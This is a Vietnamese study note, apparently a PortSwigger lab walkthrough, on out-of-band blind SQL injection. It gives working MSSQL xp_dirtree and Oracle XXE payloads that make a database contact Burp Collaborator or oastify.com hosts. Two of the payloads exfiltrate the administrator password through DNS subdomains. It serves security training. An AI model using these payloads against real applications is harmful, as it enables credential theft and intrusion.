Exploiting Blind SQL Injection Using Out-of-band (OAST) Techniques
Trong trường hợp ứng dụng thực thi câu truy vấn một cách bất đồng bộ thì kỹ thuật gây ra độ trễ không còn sử dụng được nữa. Khi đó, ta cần thực hiện out-of-band SQL injection bằng cách khiến cho database tương tác với một hệ thống mà ta kiểm soát. Điển hình nhất là DNS lookup bởi vì nó là cần thiết cho đa số các hệ thống.
Kỹ thuật trigger DNS query tùy thuộc vào từng loại database. Ví dụ sau là của MSSQL để thực hiện DNS lookup:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
Payload trên sẽ khiến cho ứng dụng gửi query để tìm IP của domain 0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
. Domain này là của module Burp Suite Collaborator (có trong bản Proffessional, đóng vai trò như là một DNS server.
Lab: Blind SQL Injection with Out-of-band Interaction
Tạo ra domain từ module Collaborator:
s4xa8pdm3jy33z8swe9iwrfp9gf732rr.oastify.com
Payload sử dụng là của Oracle1:
GKJzxFOsVf6rgTwE'union select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://s4xa8pdm3jy33z8swe9iwrfp9gf732rr.oastify.com/"> %remote;]>'),'/l') FROM dual--
Note
Cần phải URL encode payload.
Đợi một chút và ta sẽ thấy DNS query.
Exploiting Blind SQL Injection Using Out-of-band (OAST) Techniques - Continued
Sau khi thực hiện thành công việc DNS lookup, ta có thể tiến hành lấy thông tin mà ta cần như sau:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
Có thể thấy, password của administrator được chèn vào phần subdomain của domain gốc và được gửi về DNS server của Burp Suite Collaborator.
Lab: Blind SQL Injection with Out-of-band Data Exfiltration
Sử dụng payload sau (vẫn là của OracleDB):
' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(select password from users where username='administrator')||'.8foqj5o2ez9jefj87uky77q5kwqnep2e.oastify.com/"> %remote;]>'),'/l') FROM dual--
Thu được DNS query cho domain như sau:
cb5tdni9rikrvd9yvzrj.8foqj5o2ez9jefj87uky77q5kwqnep2e.oastify.com
Như vậy, password là:
cb5tdni9rikrvd9yvzrj
Đăng nhập vào tài khoản của administrator
.
Related
list
from outgoing([[Port Swigger - Out-of-Band SQL Injection]])
sort file.ctime asc